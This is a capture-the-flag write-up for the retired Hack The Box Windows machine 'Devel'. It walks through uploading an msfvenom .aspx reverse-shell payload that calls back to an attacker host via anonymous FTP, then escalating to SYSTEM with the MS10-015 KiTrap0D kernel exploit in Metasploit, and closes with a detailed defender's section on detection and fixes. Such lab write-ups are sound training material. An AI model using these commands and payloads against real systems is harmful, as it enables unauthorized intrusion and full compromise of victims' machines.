Devel
Executive summary — Devel is an Easy Windows box teaching a classic from HTB's early days: an anonymous FTP server that writes into the same directory IIS serves. Uploading an
.aspxwebshell over FTP is enough for IIS to execute it, handing us a low-privilege shell (iis apppool\web); from there, an unpatched Windows 7 x86 falls to a 2010 kernel exploit (MS10-015 / CVE-2010-0232, KiTrap0D) straight toSYSTEM. A anonymous FTP → RCE via IIS → limited shell → kernel exploit → SYSTEM path.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Easy |
| Status | Retired |
| Target IP | <TARGET_IP> |
Attack map
[21/80] nmap → FTP and IIS both up on the same host
│ anonymous login confirms: FTP serves IIS's webroot
▼
[FTP] put shell.aspx (msfvenom, reverse_tcp)
│ IIS executes ASP.NET → curl triggers the payload
▼
[SHELL] iis apppool\web (virtual account, low privilege)
│ sysinfo: unpatched Windows 7 x86 → local_exploit_suggester
▼
[KERNEL] MS10-015 / CVE-2010-0232 (KiTrap0D, x86 only)
▼
[SYSTEM]
1. Reconnaissance
We start with a full TCP port sweep, then a targeted scan with version detection and default scripts against whatever comes up open:
nmap -p- --min-rate=1000 -T4 <TARGET_IP>
nmap -p21,80 -sC -sV <TARGET_IP>
21/tcp open ftp Microsoft ftpd
80/tcp open http Microsoft IIS
Hypothesis: only two ports open — FTP and an IIS — on the same box. That's a classic Easy-lab combination: the file service and the web server often point at the same physical directory. If so, anything we upload via FTP would be exposed (and potentially executed) over HTTP.
2. Anonymous FTP access
We try anonymous login, enabled by default on many misconfigured Microsoft FTP installs (user anonymous, any password or none):
ftp <TARGET_IP>
# user: anonymous · pass: (enter)
ls
iisstart.htm welcome.png
Confirmed:
iisstart.htmis IIS's default welcome page. Seeing it over FTP means the FTP root is anchored over the same webroot served on port 80. No software vulnerability is needed here — it's an architecture flaw: failing to separate write access from a directory a public service executes.
3. Exploitation (RCE) — .aspx webshell
IIS on Devel runs ASP.NET, so we generate a reverse shell in .aspx format with msfvenom. The windows/meterpreter/reverse_tcp payload defaults to x86 — consistent with what we'll confirm later (sysinfo will report Windows 7 x86):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f aspx > shell.aspx
-p sets the payload (meterpreter over reverse TCP), LHOST/LPORT are our listener's IP and port, and -f aspx wraps the shellcode inside a valid .aspx page that the ASP.NET runtime will compile and execute on request. We upload it over the same anonymous FTP (confirming, along the way, that we have write access, not just read) and set up the Metasploit handler to catch the callback:
ftp <TARGET_IP>
put shell.aspx
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <ATTACKER_IP>
set LPORT 4444
run
And trigger it by requesting it over the web, which is what makes IIS execute it under the application pool's privileges:
curl http://<TARGET_IP>/shell.aspx
[*] Meterpreter session 1 opened
4. Internal enumeration
With the session open, we confirm identity and OS before deciding how to escalate:
getuid
sysinfo
Server username: IIS APPPOOL\Web
OS: Windows 7 · Arch: x86 · (unpatched)
Two key facts:
iis apppool\webis a virtual account (Application Pool Identity) that IIS 7+ creates to isolate each application pool — least-privilege in theory, but that doesn't help if the kernel underneath is unpatched. Andsysinfoconfirms Windows 7 32-bit (x86), with no patches applied: the perfect candidate for a kernel exploit that only works on 32-bit architectures.
5. Privilege escalation (kernel exploit)
We background the session and run Metasploit's local exploit suggester, which compares the system's version and architecture against its catalog of known local exploits:
background
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
... exploit/windows/local/ms10_015_kitrap0d Yes ...
It points to MS10-015 (CVE-2010-0232), known as KiTrap0D: a NULL pointer dereference in the kernel subsystem that emulates 16-bit applications (VDM, Virtual DOS Machine) on 32-bit Windows. Since x64 systems don't ship that subsystem at all, the bug only affects x86 — exactly the architecture sysinfo showed us. An unprivileged process can trigger it and elevate straight to SYSTEM. We fire it:
use exploit/windows/local/ms10_015_kitrap0d
set SESSION 1
set LHOST <ATTACKER_IP>
set LPORT 5555
run
[*] Meterpreter session 2 opened
sessions -i 2
getuid → NT AUTHORITY\SYSTEM
6. Flags
With SYSTEM confirmed, we read both flags. This can be done by dropping into a native Windows shell inside meterpreter:
shell
type C:\Users\babis\Desktop\user.txt
type C:\Users\Administrator\Desktop\root.txt
or directly with meterpreter's own stdapi commands, without dropping to a native shell at all:
cat C:\\Users\\babis\\Desktop\\user.txt
cat C:\\Users\\Administrator\\Desktop\\root.txt
System fully compromised, from anonymous FTP to NT AUTHORITY\SYSTEM. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | Anonymous FTP + IIS | Anonymous FTP writes into the same webroot IIS serves → upload and execution of an .aspx webshell | RCE as iis apppool\web |
| PrivEsc | Windows 7 x86 kernel | MS10-015 / CVE-2010-0232 (KiTrap0D): NULL pointer dereference in the 32-bit VDM subsystem, unpatched system | Elevation to NT AUTHORITY\SYSTEM |
Defender's view
This chain is noisy at every step, and both halves are fixed by configuration and patching rather than by any clever control.
Anonymous FTP writing into the IIS web root
How it shows up in logs / telemetry
- The IIS FTP service log records the
anonymouslogin and aSTORof an.aspxfile. An upload of executable web content by an anonymous user is an alert on its own. - Seconds later the IIS W3C log shows a
GETfor that exact file name. Correlating "file uploaded over FTP" with "same file requested over HTTP" is a simple, high-value detection. - Process telemetry shows the IIS worker process
w3wp.exespawningcmd.exeor an unknown binary: the textbook web-shell signature.
How to fix it
- Disable anonymous FTP, or at minimum anonymous write. If FTP is needed, replace it with SFTP and per-user accounts.
- Never point an upload service at a directory the web server executes. Keep uploads outside the web root, or remove script handlers and execute permissions on any upload folder.
- File integrity monitoring on the web root catches new
.aspx/.aspfiles the moment they appear.
KiTrap0D kernel exploit (MS10-015 / CVE-2010-0232)
How it shows up in logs / telemetry
- A process running as SYSTEM whose parent was running as
IIS APPPOOL\Webis impossible in normal operation; EDR and process-tree analytics flag it immediately. - The exploit binary has to land on disk first, typically in a writable temp folder, so a new executable created by the application pool identity is another detectable step.
How to fix it
- Apply the MS10-015 security update. The flaw sits in the 16-bit (NTVDM) support of 32-bit Windows; Microsoft's documented workaround was to block 16-bit applications through Group Policy, worth applying on any 32-bit system that cannot be patched.
- Windows 7 is end of life: migrate it. An application pool identity is good isolation only on top of a patched kernel.
Lessons learned
- Anonymous, writable FTP over the webroot = RCE on a plate. Write access to a directory a public-facing service interprets or executes should be treated as remote code access, not a simple file transfer.
- Separate services and permissions: FTP, storage, and the webroot shouldn't share a directory unless strictly necessary, and never with anonymous write access.
- IIS's low-privilege identity (Application Pool Identity) isn't enough isolation if the kernel underneath is unpatched: user-land privilege separation doesn't stop a kernel exploit.
- Patch the operating system, not just applications: a fix for MS10-015 had been available since 2010; an unpatched Windows turns any limited shell into SYSTEM.
- Metasploit's local exploit suggester is the logical first move after landing a limited shell: it automates matching the system's version/architecture against known local exploits.